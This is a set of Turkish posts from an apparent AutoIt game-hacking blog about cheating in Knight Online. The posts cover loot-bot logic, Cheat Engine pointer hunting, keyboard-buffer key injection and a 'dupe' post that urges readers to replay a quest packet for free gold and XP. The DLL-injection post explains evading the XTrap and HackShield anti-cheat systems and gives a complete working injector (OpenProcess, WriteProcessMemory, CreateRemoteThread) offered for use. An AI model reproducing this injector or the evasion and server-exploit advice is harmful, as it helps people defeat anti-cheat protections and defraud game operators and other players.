$içecek = "çay";
IF $içecek = "çay" THEN
içmem tşk, çay sevmiyorum deriz :P
ELSEIF $içecek = "kahve" THEN
hiç sevmem :P
ELSEIF $içecek = "kola" THEN
istemem :D
ELSEIF $içecek = "ayran" THEN
ver bitane içelim xD
ELSE
o içeceği daha önce hiç duymadım, içmem.
ENDIF

Sadece sondaki ELSE kısmını anlatıcam. Şartları belirttik. bu böyle uzar gider. bütün içecekleri yazmak yerine sadece kendi listemizdeki içecekleri yazdık ve bu liste dışında kalan diğer tüm seçenekler için "o içeceği duymadım" dedik.

KnightOnline örneği :D

$loot = kutuac($x)
IF $loot = "coin" THEN
topla....
ELSEIF $loot = "abyss gem" THEN
topla....
logTut("1 abys gem toplandı saat: bilmem kaçta")
ELSEIF $loot = "720 pot" THEN
topla....
Tüpİç(kırmızı) xD
ELSEIF $loot = "bus" THEN
toplama.... xD
ELSE
toplama...
burada mesela seçeceklerimiz dışındaki itemleri almaması şartını kullanabiliriz.
listede belirttiklerimizi alır. buraya log tuttururuz mesela: short pants +1 düştü ama almadık.
ENDIF

Bu işlemi kısa bir şekilde şöylede yapabilirdik: bunu kavramış olmalısınız.

IF $loot = "coin" OR $loot = "abyss" OR $loot = "bus" THEN
topla.....
ELSEIF $loot = "tentacle" OR $loot = "60 hp pot" THEN
toplama......
ELSEIF $loot = "bes" THEN
git inne koy......
ELSE
log tut..... ve toplama......
ENDIF

şimdilik bu kadar. Sametle maceralarımız devam edicek xD Bir sonraki makalede Loop lara değiniriz. While loop, for loop, do loop vs... Şimdilik kendinize iyi bakın.

Auto-it bahane, emek hırsızlığı şahane :D

Selam nabar millet? :D
Evt, blog yine her zamanki gibi başı boş, orda burda koşturmalar, hayata karşı verilen savaş, insanları tanıma, etrafımızdakilerin yavaş yavaş ölmeye başlaması büyümemiz anlamına geliyor olmalı :) Bi webmaster, (blog açmakla webmaster olunmuyor tabi de var bi bildiğimiz webmasterız diyorsak xD) sayfasını çocuğu gibi sever ve hiç biri için ayrım yapmaz. Bendede 30-40 tane çocuk var hepsini aynı severim :D Bazılarının adını unuttum zamanla ama autoitscript.blogspot.com u unutmadım. (Saçmalıyorum dilmi?, ama dur bak nereye getiricem şimdi) Bu konuyuda başka sitelerde görsem ne güzel olur ama :D anlamadınız, devam edelim. Aklımda hepsi benim olmasada uğraştığım 1500 çeşit web sitesinin kod dizilimi ve bilgileri var yani anlayacağınız kafamın içinde filler oynaşıyor :D. Dediğim gibi sonuç itibarı ile kafanın bu kadar dolması bir takım eski şeyleride silmeyi gerektiriyor, yeni birşeyler eklendikçe harddiski boşaltmak gerek. (Marjinalim, dur :D) He boşalttık kafayı unuttuk bazı sitelerimizi bloglarımızı, emeklerimizi. Ama bu blogu unutmadım tekrar söylüyorum. Alexa top 100'de olan sitelerim var. Bu blog kaç senelik: aşağı yukarı 3. 3 senede baya bi ilerlerdi ama ilerlemedi.

Çünkü:
burda sahte bilgi paylaşmıyorum.
burda copy&paste (emek hırsızlığı) yapmıyorum.
burda rank yükseltmek için türlü hileler gerçekleştirmiyorum.
blogtoplistlere kaydolmuyorum, oraya buraya backlink vermiyorum.
vesair, vesair uzuyor.

Neden yamıyorum? Çünkü buraya birşeyler öğrenmek isteyen adamlar gelsin diye. Gidip bir yerlerden makale çalabilirdim ve bloga paste edip bütün makale içerisinde 1 kelimeyi değiştirip orjinal gösterebilirdim. Ama bunu yapsaydım gönderilerim yazdığım makaleleri çalıp yayınlayanların sorulan sorulara cevap veremediği gönderiler kadar aciz olurdu.

Kızmıyorum yanlış anlamasın kimse :D Aslında yüksek ranklı sayfalarda makalelerimi görmek beni mutlu ediyor ama internetin bu hale gelmesi beni rahatsız ediyor. Örnek olarak google'a maykıl scofield yazınca prison breakle alakalı olmayan 30 sayfa en başta çıkıyor. Sayfasında olmayan şeyleri varmış gibi gösteren internet kazançcıları sayesinde çöp karıştırmaya mahkum kalıyoruz. Google sözde yeni algoritmalar geliştiriyormuş ama bununda bir yolunu bulurlar nasılsa :)

Neyse sonuç olarak buradan makalelerimi yayınlayanlara teşekkür ediyorum. Ama copy&paste yaptıktan sonra en altta birde kaynak gösterirseniz belki sorusu olanlar cevap bulur. Ben cevaplamassam bu bloga takılan kaliteli kişiler cevaplar en azından.

Çünkü burada seviye farklı.

1737 Patchine Kadar Yapılan Dupe

Oltayı atalım önce bi :D 1737 dupe, düpe, düp knight online dupe, para dupe, coin dupe, 10k dupe, para bug, exp bug, dupe programı, 1737 dupe programı, knight online dupe programı

Buyrun önce bir izleyin : (Youtubedn, görünmüyorsa ttnet saolsun deyin geçin :P)


Bu öylesine bir yazıdır, yani boşa ümitlenmeyesiniz dupe yapmayı anlatmıcam. :P
Şimdi konuya gelince, Konu paket yakalama/yollama kabiliyetine sahip olan arkadaşların işine yarayabilir. (aslında dupe falan değil ama öyle diyor millet malum :D Asıl konum bug, diğer yandan dupede vardı, rollback sayesinde yapılıyordu, sadece ioniada oluyordu fakat şuan bitti.) 

Ordan burdan okuduğum şeyler doğrultusunda bir grup arkadaş kitlesi, bir program yapmış sonra bu programı bu arkadaşların birinden çalmışlarmış sonra çalan kişi ona buna satmışmış sonra sonrada ipin ucu k2 ye kadar gitmiş bildiğimiz üzerede bundan sonra serverlar 1 gun kadar kapalı kaldı.

Yapılan bug aslında çok basit, sadece araştırma gerektiriyor. Malum kapandı ama bundan sonrada buna benzer olaylar yapılabilir. Mümkündür. Her yeni patch mutlaka yeni bir açık verecektir. Duyduğuma göre 35lvl de açılan bir görev veya her neyse veya hangi lvl de açılıyorsa bilmiyorum, sürekli yapılabiliyormuş. Siz bu görevi yaptığınızda confirme bastığınız zaman bir paket yollanıyor. Ve muhtemelende server bu paketi sürekli kabul ediyor. Görevi yaptığınızdan haberi yokmuş gibi sonucunda geriye ufak bi miktar exp ve 10k gibi bir para donduruyor. İşin mantığı bu. Tek yapmanız gereken doğru paketi göndermek. Biraz akıl yorulduğu zaman tam metodu bulunabilecek birşey. Dupe artık eskisi gibi değil, önceden herkez paylaşırdı ama artık olay farklı boyutlarda o yüzden bu yazı bence çok yararlı bir yazıdır okuyan için. KOXP hile vb heryerde paylaşılıyor ama konu Dupe olunca her koyun kendi bacağından asılıyor malesef :) Sonuç itibarı ile paket yakalama yollama yapabilen arkadaşlar, gezin, deneyin, araştırın. Ben şuandan itibaren hazzard game üzerinde düşünmeye başladım ve eğer oyundan kaldırılmadıysa bugün yarın denemelere başlıcam. Bir şans oyunu olduğundan ve dönecek değer random olabileceğinden server kaybettin yollasada biz cliente kazandın gösterebiliriz belkim :P Komik gözükebilir, dupe böyledir biraz delilik seviyesinde düşünmek lazım :) her yolu denemekte fayda var. Neyse amaç fikir vermekti, buradan belki fikirlerimizide paylaşırız, cevaplarınız, fikirleriniz beni ve diğer okuyucuları mutlu edecektir, paylaşmaktan kaçınmayın ltfen

DLL-Inject (PART I)

Yazımı okuyunuz;  06 HAZIRAN 2008 CUMA
bİR KAÇ GÜN İÇİNDEMİ DEMİŞİM ? :d

Neyse işin aslı blog başıboş kalmasın dedim, birşeyler yaziyim. Madem tamamını getiremedik, parça parça part part bölük pörçük :D ekleyelim, vakti gelince part 2 3 vs de gelir inş. (Boş zamanlarımı özledim! :D)

Konumuz dll-inject. Basitçe dll-inject: o an çalışan bir process(exe) nin hafızasına bir yere kendi dllmizi kaynatmak, çaktırmadan araya sokuşturmak gibi bişey. Bu sokuşturduğumu dll de tabiki o process ile etkileşime geçmek için hazır vaziyete geliyor. Peki nedir bunun avantajı ? cidden bilmiyorum :P şaka :P bunu yapmamızın amacı şudur: ko yu örnek alarak anlatiyim basit olsn.

Xtrap diye bir icat var, ve biz ko da hile çalıştırmak istiyoruz. Xtrap ko açıkken o sıra bütün programları kontrol edecektir. Eğer sistemimizde açık olan bir program konun memorysine dokunmaya yeltenirse, 3rd party tools hack detectedı ekrana yapıştırır ve oyunu kapatır :D Burdaki mantık şudur, xTrap konun hafızasına dışarıdan gelebilecek tüm erişimleri durdurur. Ancakkkk.... Memory e erişen zaten ko nun kendisiyse bir problem olmayacaktır :) yani inject ettiğimiz dll. Anlatmak istediğim, dll yi konun memorysine soktuğumuzdan xTrap o dll yi ko ya ait sanacaktır. (yani en azından bi denemek lazım :P) eğer hile engelleme programı çok kabiliyetliyse belkide o dll nin ko ya ait olmadığını anlar ancak bunuda aşmanın yolları vardır en basitinden ko nun açtığı dll lerden biri gibi gösterilebilir. (mantıken yararlı olmayacaktır çünkü hile engelleme programı saf değilse crc-check veya header-read yapıp yine anlar) Yani bunlar bizi şuraya yönlendiriyor: burada önemli konu aslında dll yi inject etmek değildir. DLL yi inject edebilmektir. Şurdan bir örnek veriyim. Eski kohack i hatırlarsanız, o zamanlar koda HackShield koruması vardı. Ve biz karakter select ekranında koHacki açıyorduk oyuna öyle girersek çalışıyordu. Bu ne demektir ? karakter select ekranında bir açıktan faydalanılmış. Yani dll bir şekilde sokuşturulmuş demektir. (Bu açık her şekilde olabilir mantık zorlamayla beraber ollydbg yol gösterici olacaktır.) O sırada hackshield hile kontrolü yapmıyordur, veya o sırada dll inject edildiğinde ko yu kapatamıyor, hata veremiyordur veya fill with nop vs vs... 

Inject ettiğimiz dll dialogsuz olabilir, hotkeylerle çalışabilir ancak dialoglu olması (HF) tarzında daha mantıklıdır. Inject edilmiş DLL nin bir avantajı daha vardır, daha hızlı çalışacak, adreslere daha hızlı erişecektir, yani dışarıdan çalışan bir exe ye göre. (şuan kullanılan hile programları)

Neyse, bu part için bu kadar yeterli sanırım, aşşağıda verdiğim kodlar DLL-Inject UDF sidir. Önümüzdeki partda inject ettiğimiz dll yi çağırmayı ve komut yollatmayı anlatıcam. Bunu bir isimde kaydedip include vererek kullanabilirsiniz.

Şunu söyleyebilirimki bu konu şuan gözümde baya uzun görünüyor. bikaç aşama sonra ollydbg makalesi vs hazırlamam gerekicek gibi. Neyse önümüzdeki günlerde görüşürüz. Çalışmalarınızda başarılar.

Tek isteğim şudurki bu script yanlış ellere geçmesin, lütfen heryerde paylaşmayın...
Func _InjectDll($hWnd, $dllpath)
   ;girdilerin doğru olup olmadığı kontrolü, hwnd varmı yoqmu vs...
   If $hWnd <= 0 Then
      SetError(-1)
      Return False
   ElseIf StringLen($dllpath) <= 4 Or StringRight($dllpath, 4) <> ".dll" Then
      SetError(-2)
      Return False
   EndIf

   Local $pid, $pHandle, $pLibRemote, $modHandle, $LoadLibraryA, $hThread

   ;inject için gereken dll.
   Local $kernel32 = DllOpen("kernel32.dll")

   ;hwndmizin process id sini bulma.
   $pid = DllCall("user32.dll", "int", "GetWindowThreadProcessId", "hwnd", $hWnd, "int_ptr", 0)
   If IsArray($pid) Then
      $pid = $pid[2]
   Else
      SetError(-3)
      Return False
   EndIf

   ;hwndnin memorysine erişim.
   $pHandle = DllCall($kernel32, "int", "OpenProcess", "int", 0x1F0FFF, "int", 0, "int", $pid)
   If IsArray($pHandle) And $pHandle[0] > 0 Then
      $pHandle = $pHandle[0]
   Else
      SetError(-4)
      Return False
   EndIf

   $pLibRemote = DllCall($kernel32, "int", "VirtualAllocEx", "int", $pHandle, "short", 0, "int", 0x1000, "int", 0x1000, "int", 4)
   If IsArray($pLibRemote) Then
      If $pLibRemote[0] > 0 Then
         ;konsol kontrolü, debug.
         ConsoleWrite("0x" & Hex($pLibRemote[0], 8) & @CR)
         $pLibRemote = $pLibRemote[0]
      Else
         SetError(-5)
         Return False
      EndIf
   Else
      SetError(-6)
      Return False
   EndIf

   For $i = 0 To StringLen($dllpath)
      $ret = DllCall("kernel32.dll", "int", "WriteProcessMemory", "int", $pHandle, "int", $pLibRemote + $i, "int_ptr", Asc(StringMid($dllpath, $i + 1, 1)), "int", 1, "int", 0)
      If IsArray($ret) Then
         If $ret[0] = 0 Then
            SetError(-7)
            Return False
         EndIf
      Else
         SetError(-8)
         Return False
      EndIf
   Next

   $modHandle = DllCall($kernel32, "long", "GetModuleHandle", "str", "kernel32.dll")
   If IsArray($modHandle) Then
      If $modHandle[0] > 0 Then
         $modHandle = $modHandle[0]
      Else
         SetError(-9)
         Return False
      EndIf
   Else
      SetError(-10)
      Return False
   EndIf

   $LoadLibraryA = DllCall($kernel32, "long", "GetProcAddress", "long", $modHandle, "str", "LoadLibraryA")
   If IsArray($LoadLibraryA) Then
      If $LoadLibraryA[0] > 0 Then
         $LoadLibraryA = $LoadLibraryA[0]
      Else
         SetError(-11)
         Return False
      EndIf
   Else
      SetError (-12)
      Return False
   EndIf

   $hThread = DllCall($kernel32, "int", "CreateRemoteThread", "int", $pHandle, "int", 0, "int", 0, "long", $LoadLibraryA, "long", $pLibRemote, "int", 0, "int", 0)
   If IsArray($hThread) Then
      ConsoleWrite($hThread[0] & @CR)
      If $hThread[0] > 0 Then
         $hThread = $hThread[0]
      Else
         SetError(-13)
         Return False
      EndIf
   Else
      SetError(-14)
      Return False
   EndIf

   DllCall($kernel32, "int", "VirtualFreeEx", "int", $pHandle, "int", $pLibRemote, "int", 0x1000, "int", 0x8000)
   DllCall($kernel32, "int", "CloseHandle", "int", $hThread)
   DllCall($kernel32, "int", "CloseHandle", "int", $pHandle)

   DllClose($kernel32)

   Return True
EndFunc

KeyBuffer ve Kullanımı

Merhaba ziyaretçiler, blog takipçisi arkadaşlar ve bu yazıyı okuyanlar :P
Google amcanın yönlendirmesiyle demiri attığınız bu yegane blog sayfasında uzun süredir yazmayı planladığım makaleyi yazmak 2 adet korku filmi izledikten sonra kaçan uykum sonrasında pazartesi sabaha karşı 4:30 sularına nasipmiş :D neyse uzatmayalım başlayalım.

Oyunlar bildiğimiz üzere klavyede yer alan tuşlarla oynanıyor :P otomasyon içinde bu tuşları kullanmanın en basit yöntem olduğunu biliyoruz. Bir oyunda tuşa basmak için birkaç yöntemimiz var. (veya tuşa bastığımızı bildirmek.)

1-> Elimizi kullanarak klavyeyle temasa geçmek. :P
2-> Sendkey (Directinput ile tuş simülasyonu yapmak / user32.dll saolsun.)
3-> PostMessage (Belirlenen pencere başlığına veya penceredeki herhangi bir kontrole string yollamak. ki bu string diyelimki 1 ise oyun bunu 1 e basıldı şeklindede algılayabiliyor.)
4-> Keyboard Buffer dan yararlanmak (Memory).

Konumuz bilindiği üzere 4. maddedir.

Memory herşeyin işlendiği yer olduğundan tuşa bastığımızda yine doğal olarak orada işlenecektir. Keyboard buffer tuşların basılmayı bekledikleri memorydeki adresleridir.
kullanıcı tuşa bastığında değer işlenir. Windows üzerinde çalışan her programın + windowsun hatta bios un bile bir keyboard bufferi vardır. Mantığını daha basit anlatmak gerekirse, ram de hertuşun bir adresi vardır diyelimki bu 1 den 10 a kadar olsun bu 1 ile 10 arasının tamamıda keyboard buffer oluyor efenim. Bu adresciklerin herbiri farklı bir tuş içindir mesela 1 a nın 2 b nin 3 e nin gibi. ve hepsinin değeri o anlık 0 dır taki siz o tuşa basana kadar. bastığınızda 1 olur.
Keylogger programları bu mantıkla çalışır. Çoğu windowsun keyboard bufferine yapışır ve malum değer 1 olduğunda tuşa bastığınızı tespit eder. Notepad ın bile bir keyboard bufferi vardır, yani notepad e bile MSN Koxp kurabilirsiniz bilmem anlatabildimmi :D

Oyunlardakininde pek bir farkı yok. Konuyu fazla uzatmayada hiç gerek yok. aslında çok basit. memory ile haşir neşir olduğunuzdan aslında çoktan bulmanız gerekirdi ama, zamanında benimde aklıma gelmemişti tuş gönderme yöntemlerini ararken rastladım ve araştırdım.

Yapmanız gereken şudur. KO ya girin. cheat engine herzamanki gibi bizimle olucak.
Namı değer MSN koxp :D açın msn i alın ontop mode üstte dursun z yi basılı bırakın. değişeni aratın. sora z yi serbest bırakın bir daha değişeni arayın. 1 veya birkaç değere indirene kadar devam. Doğru adresi bulduğunuzu anlamanın yöntemiyse şudur: Elinizde 1 kaç adres kaldı diyelim, z yi tekrar basılı bırakın msn yardımıyla ve cheat engineden 1 olan değerleri tek tek 0 yapın ve pencereyi aktif yapmadan, cheat engineyi hafif kaydırarak yukardan oyuna bakın bakalım z yi bırakmışmı. eğer z yi bırakırsa doğru adresdesiniz demektir. (oyuna dönmemeye dikkat edin yani sizin anlayacağınız dilden msn koxp u bozmadan bakın karakter z yi bırakmışmı diye.)

Adresi buldunuz, aynı şekilde pointerini ve offsetinide buldunuz olay tamam sayılır. diğer tuşları offsetde hafif oynamalar yaparak bulabilirsiniz tek tek uğraşmadan. +4 +4 atlayarak diğer tuşlara ulaşın. basit bi script yapın, sürekli o tuşu göndersin ama pencere bu kez aktif olsun rahatça bulun. Eğer diyorsanız ki tuşu göndermeyi söylemedinki nasıl göndericez :D söyliim.

Başından beri anlattığım üzere bu adres 0 dır ve siz tuşa bastığınızda 1 olur o halde mantığımızın yönlendirdiği üzere memory ile bu adrese önce 1 ve biraz bekleyerek 0 yazdırıcaz. bu biraz beklemeyi kafanızdan hesaplayabilirsiniz, yani sizin bir tuşa basmanız saniyenin kaçta kaçı zamanda olur ? ben saniyenin 10/2 si gibi bi zamanda basıyorum, kabiliyet :D, 200 sleep :P

Son olarak benim denemelerimden bahsediyim, benim son olarak geldiğim nokta:
Tuşları oyuna gönderiyorum, ve oyun aktifken çok güzel çalışıyor. en güzel özelliği aslında chat penceresiyle karışmıyor, yani rahatça yazabiliorsunuz. Sorun şuki, oyun aktif değilken skilleri göndermeyi bir türlü başaramadım, WOLF dışında :D nedendir bilmem wolfu pencere aktif değilkende atıyordu. Şu olabilir sizi yanıltmasın, script pencereniz her zaman üstte olsun, atak yaparken kendi pencerenize tıklayın, çok çok basitçe hiç uğraşmadan msn koxp yaparsınız.
ama diğer tuşlarınız basmaz. sadece z1. şansınız olursa benim gibi belki wolfuda atarsınız :D

Herşeye rağmen benim görüşümce bu yöntem sendkeyden çok daha iyi işliyor. en azından arka planda z1 atıyor bence bu bile yeterlidir :) ufak bi not daha ekliyim, bazı tuşlar çok geç bastığından ben 1 ve 0 yazdırmak yerine sürekli 1 yazdırıyordum. o zaman daha seri basıor ve arka plana geçmek istediğimde çok daha rahat geçiyordu. önerim sizde öyle yapın, sadece zamanlı skilleri 1-0 şeklinde yapın. Vaktim olsaydı keşke biraz daha zorlardım ama belki sizlerden birisi çok daha iyi çalıştırabilir ve bizimlede paylaşır. Ben en son skill vururken pencere aktifmi değilmi falan kontrolümü yapıyor acaba diye biraz kurcaladım cheat engine den. pencere aktif-değil şeklinde aratarak, birkaç sonuç buldum directx8 ile alakalı çıkıyor ama hepsi ve değeri değiştirince oyun donuyor, mantığını çözemedim :)

Neyse, takıldığınız bir yer olursa cevaplamaya çalışırım, kullanması ve geliştirmesi size kalmış anlaşılmıyacak biryer yoktur umarım, bir sonraki makalede görüşmek üzere :P
Bol şanslar.

Autoit Soru-Cevap Bölümü

Ufak bir yerde takıldınızmı ? buyrun sorun cevaplayalım :P Diğer topiclerden farklı sorular soran arkadaşlar oldu, o yuzden bunu açmaya karar verdim. Herhangi bir sorunuz varsa diğer topicler kullanılmasın, burdan sorabilirsiniz elimden geldiğince yardımcı olmaya çalışırım. Yalnız bir kaç şartım var :P

- Aşırı yüklenme olmasın lütfen :P, yani aynı post içinde şu nasıl yapılıyor, bu nasıl yapılıyor ve birde bu var o nasıl yapılıyor. şeklinde sormayın tek tek sorarsanız daha rahat yardımcı olurum.

- Bu bölümü ufak tefek sorular için kullanın. Orn olarak pencere boyutlarını nasıl değiştirebilirim, bir tuşu nasıl iptal edebilirim veya listviewdeki seçili satırı nasıl bulabilirim, internet explorerda bir nesneye nasıl yazı yazdırabilirim, buraya uygun sorulardır. Nasıl koxp yazabilirim ? nasıl bir hesap makinesi yazabilirim, nasıl bir trainer yazabilirim buraya uygun bir soru değildir. Bu tip soruları cevaplamıcam. Ama aynı soru trainer yazmanın mantığı nedir şeklinde sorulursa bunu cevaplarım, veya güzel bi soru gelirse o konuda bir makale hazırlarım.

- Eger sizden once 4-5 den fazla soru varsa lütfen ekleme yapmayın bana biraz zaman verin, her zaman bakamıyorum boş zamanımda anca girebiliyorum.

- Son olarakda kesinlikle bana hazır script gönderirmisin, bana şunu yazarmısın şeklinde sorular göndermeyin :(

- He birde :P adsız olarak gönderi yapanları sevmiyorum, bi arkadaşa bakıp çıkıcam gibi olmasın ltfn. :D Belirtmek istediğim birşey daha var azar azar öğrenebileceğiniz şekilde ip ucu veririm ona göre, he baktık olmuyor dahada detaya ineriz :P

hepsi bu kadar :)

Memory Olayları

Selamlar arkadaşlar, uzun bi aradan sonra memory konusuna nihayet girmeyi başarıcaz :P
Malum iş güç, okul vs derken hayat akıp gidior insanın vakti kalmıyor, neyse konumuz uzun hemen geçelim..

Memory derken kastettiğim şey bildiğiniz ram değil, bir oyunun ram de kapladığı yer, yani işlenen geçici verilerinin saklandığı adres aralığıdır. Eee bu geçici verilerden hangileri işimize yarar ? örneğin hp, lvl puanı, mana, para vs.. gibi değişken değerler bize gerekenlerdir :)

Neler yapabiliriz bu değerlerle, örneğin hp mizi dondurabiliriz, aynı şekilde mana mızı, oyuncumuzdaki parayı değiştirebiliriz, veya bot yaparız karakterimizi bu değerlerle kontrol ederiz. Nasıl kontrol ederiz hemen onuda açıkliyim, diyelimki bıraktık biryere karakter kasıyor :) ama dmg de alıyoruz arada dolayısıyla canımız iniyor, 0 oluncada malum, ölüyoruz :) botumuza değeri gireriz, hp şu değere indiğinde bas can potunu ölmiyelim deriz oda basar :)

Hp dondurmaktan bahsettik, bu nedemek ? hp mizi 1000e dondururuz misal, yaratık vursada canımız inmez, cunku o değere surekli 1000 yazılmaktadır. 900e insede tekrar 1000 olacaktır. Ancakkk..... burda dikkat etmemiz gereken şey Client-Side , Server-Side olayıdır. Nedir bu olay hemen açıklayalım. Biz oyunu oynadığımız için Client side de bulunuruz. Misal olarak biz karakterimizin canı normalde 1000 se bunu 10.000, 100.000 yaparız ama sorun şudur ki Server karakterimizin gerçek canını biliyorsa 1.000.000 da yapsak 1000 dmg alınca ölürüz :) Ki çoğu online oyunda bu böyledir, bazı temel değerler server tarafındanda bilinir. Serverin databasesinde karakterimizin tüm temel özellikleri kayıtlıdır. Eğerki kayıtlı değilse, zaten o oyun oynanmayacak bir hal alır ve dandirikde bir oyundur zaten :) Metin 2 de sanırım bu olay vardı ortalıkda canı inmeyen adamlar dolasıyordu :))) Neyse kısaca server side client-side yi en basit şekilde anlatmaya çalıştım anlaşılmıştır umarım. Serverin bilmediği şeyler üzerinde değişiklik yapabiliriz bu anlaşılmıştır, bildiği şeyler üzerinde ise değişiklik yapamayız ama bu konuda bi artımız vardır, onları bizde bilebiliriz. :)

Memory karışık olduğu kadar aslında basittirde. Eminimki bu yazıyı okuyanların yuzde 80 i Cheat-Engine kullanmıştır. Cheat-Engine saygıdeğer bir yazılımdır onsuz işimiz çok zor olurdu :)

Memory i bugüne kadar kullanan veya kullanmaya çalışanların eminimki coğunluğu "Yaa bu benim pc de çalışıyor, arkadaşda çalışmıyor veya Oyunu kapayıp açınca bir daha çalışmıyor" gibi yakarışlar içindedir :D Bu hataya coğu kişi düşer aslında bu bi hata bile değil sadece bi başlangıçtır, siz birşeyler yaptığınızı sanırsınız ama olaya daha yeni başlamışsınızdır.

Memory de tutulan değerlerin adresleri, oyun her açıldığında değişir. HP, MP, Vs.. i daha once kullananlar, her değer için farklı adres olduğunu sanarlar ama bu bir bakıma yanlıştır. Knight Online yi örnek alarak anlatmaya devam edelim.

Her patch de exenin boyutları değişir bildiğiniz gibi 1kb da olsa 1mb da olsa 1byte da olsa değerlerin adresleri değişecektir. Bir önceki bahsettiğim değişmeyle bu değişme bir değildir. Patch geldiğinde adresler gerçekten değişir :) yani patch başına programdaki adresleri tekrar güncellemeniz gerekir. He diyceksinizki ben oyuna her girişimde adresmi güncelliyicem.. evet...
şaka :D hayır. Dediğim gibi o ve bu farklı şeylerdir. İşin aslı ne biliyormusunuz... Pointer diye dümbelek bişey var o :)))

Pointer Nedir : Dediğim gibi oyun her yüklenişinde adresler değişir.. Ancakkkk.... Değişmeyen bir şey vardır... :) oda değişen adresin adresini barındıran pointer dır ve bu temel adresden istediğimiz değere (hp,mp,vs..) gitmemizi sağlayacak Offset dir. Pointer işaret demek ingilizce galiba. Yani bize o değişen adresi işaret eder. Derki bak bu dallama yine yer değiştirdi buldum şuraya gitmiş. Bizde temel adresi alırız, ve zaten bildiğimiz ve elimizde olan Offsetide onla toplayıp istediğimiz değere ulaşırız. Pointer ve offset hiç bir zaman değişmez. Takiii bir sonraki patch gelene kadar.

Hemen şunuda söyliyim. Dedim ya hani hp mp vs değerleri daha oncede bulup kullanmış olanlar, her birinin ayrı bir adres olduğunu düşünürler. Bu yanlıştır. Temel bir adres vardır. Yani hemen şöyle açıklıyıyım. Array ın ne olduğunu bilenler için arraya benzer bişeydir bu :P Diyelimki temel adresimiz "0xABCDEF" olsun. HP değerini bir offset yardımıyla buluruz. Yani şu şekilde olacaktır. "0xABCDEF" + "0x510" burdaki "0x510" hp nin offsetidir. Aynı şekilde diyelimki "0xDE5" de mananın offseti olsun, "0xABCDEF" + "0xDE5" olarak onuda bulacagızdır :) (bulacagızdır :D..) Offset ne ya nasıl bulucaz demeyin onuda anlatıcam meraklanmayın :D

Oncelikle Cheat-Engine de adres ve offset bulmakdan bahsedelim biraz. Bu konuda Cheat-Engine nin forum sitesindeki tutorial ve yardım konularını okumanız gerçekten sizin için çok faydalı ve kesinlikle gereklidir!. Ben çünkü resimli anlatamıycam şimdi dediğim gibi konu zaten uzun ve resim çek ekle vs.. uğraştıracağı için elimden geldiği kadar basit bi şekilde adım adım anlatmaya çalışıcam.

Cheat-Engine de pointer ve offset bulmak :
(Knight Online den örneklendiriyorum, "CE = Cheat-Engine", "KO.exe = KnightOnLine.exe")

1-> Oyunumuza giriyoruz. Karakter gelene kadar bekliyoruz..
2-> CE açıyoruz yukardan pc iconuna basıp KO.exe seçiyoruz ok luyoruz.
3-> Artık CE KO.exe nin memory adres aralığında işlem yapmaya hazır durumda.
4-> Oyundaki hp mizi CE ye giriyoruz ve first scan basıyoruz. (Decimal olarak arıyacaız yani HEX seçili olmaycak. Hex 0x123, 0xABC şeklindeki değerdir, decimalse sadece sayılardan oluşr)
5-> Sol tarafta 100 200 veya birkaç yüz değer çıkıcak.
6-> Oyuna dönüyoruz, hp mizi değiştiriyoruz. (yükseltmek veya azaltmak farketmez, değişmesi yeterli)
7-> Daha sonra hp değerini bir daha giriyoruz ve next scan a basıyoruz.
8-> Sadece bir adres kalmış olması gerekir eger kalmamış ise tesadufdur baştan yapın bir adres kalana kadar.
9-> Artık hp nin adresini bulduk. Bulduğumuz bu adres pointer değildir karıştırmayın. Temel adresde değildir. Temel adress ve offset toplamıdır. Oyunu tekrar başlattığımızda bu adres değişecektir. O yüzden pointer bulmamız gerekiyor. (üstüne basıyorumki anlaşılsın :).)
10-> CE de solda kalan tek adresi cift tıklayarak aşşağa alıyoruz.
11-> Buna sağ tıklayıp "find out what writes to this address" diyoruz. Bişey cıkıor hede hodo dior yes dioruz.
12-> Karşımıza gelen ekran oyle kalıor dokunmuyoruz.
13-> Tekrar oyuna donuyoruz hp mizi bir daha değiştiriyoruz.
14-> CE donuyoruz bakıyoruzki o ekranda bişey yazıyor. mov eax esi cart curt şeklinde.
15-> Şimdi stop a basıyoruz ve o gelen yazıya çift tıklıyoruz.
16-> Karşımıza gelen ekranda, the pointer you probably find hede hodo is : 0ABCDEF şekline bişey yazıyor. Onu bir kenara not alıyoruz. Ve burda en ortada kırmızı ile yazan satırda misal olarak : "mov, [eax+00000e4]" şeklinde bir yazı var. burada + dan sonraki kısım bizim aradığımız offset dir. bu e4 değilde 500 510 600 de olabilirdi. veya eax*4+00000e4 şeklinde daha komplex bişeyde olabilirdi. mesela bu komplexden alacağımız sonuc 4+e4 = e8 olacaktır.
Bunları anlamak için cheat engine tutoriallerini mutlaka okumanızı tavsiye ederim. Google a yazın cheat engine diye ana sayfasınadan forumlara girin tutorialleri bulursunuz :D Ayrıca + yada dikkat edin mesela o [eax-00000e4] olsaydı offsetimiz E4 yerine -E4 olacaktı yani temel adresle toplamak yerine çıkarıcaktık...
17-> Neyse, Şimdi bu the pointer you propably hede hodo dedim ya o değeri bir kenara yazıyoruz. O bizim aradığımız temel adresdir. Offset ide tabiki yazıyoruz bir kenara oda hp nin offsetidir. Şimdi o pencereyi kapayalım. CE geri donelim, New scan yapıp hex kutusunu seçelim.
O bulduğumuz temel adresi yapıştırıp first scan diyelim. Karşımıza coğu zaman sadece 1 adres gelir. ama 1 kaçda gelebilir boyle durumlarda merak etmeyin, gerçek adres coğu zaman %90 cogunlugu sayılardan olusan, sayıyla baslayan, veya en bastaki en küçük değerdir. Bu bulduğumuz adress, bizim temel adresimizi işaret eden Pointer dir.
18-> Pointeri bulduk :) artık her oyuna girdiğimizde baştan adress aramıycaz :D Pointeri doğru buldukmu diye göz atmak isterseniz hemen CE den add new adress i tıklayarak pointer kutucugunu isaretleyebilir kutuya bu yeni adressi (karıştırmayın sol tarafta olan yani onceki buldugumuz temel adres dediğimiz değil, sol tarafdaki) yazıyoruz ve offsetide yazıp ok basıyoruz. Aşşağıya yeni bir address eklenicek bu addressin value kısmında eğer hp değerimiz yazıyorsa doğru adresdeyiz demektir :) eğer ??? şeklinde bişey yazıyorsa bir yanlışlık yaptık demektir, ve baştan tekrar denememiz gerekmektedir. dikkatlice :)
19-> Elimizdeki değerlere bir göz atarsak, Temel adress e artık gerek kalmadı neden ? cevabını kendi kendinize bi verin, ondan sonra okumaya devam edin!

Çünkü pointeri bulduk.. Bu pointer oyuna her girdiğimizde değişen temel adresi bize verecektir.
Bizde offsetleri girip istediğimiz değere ulaşacağız.
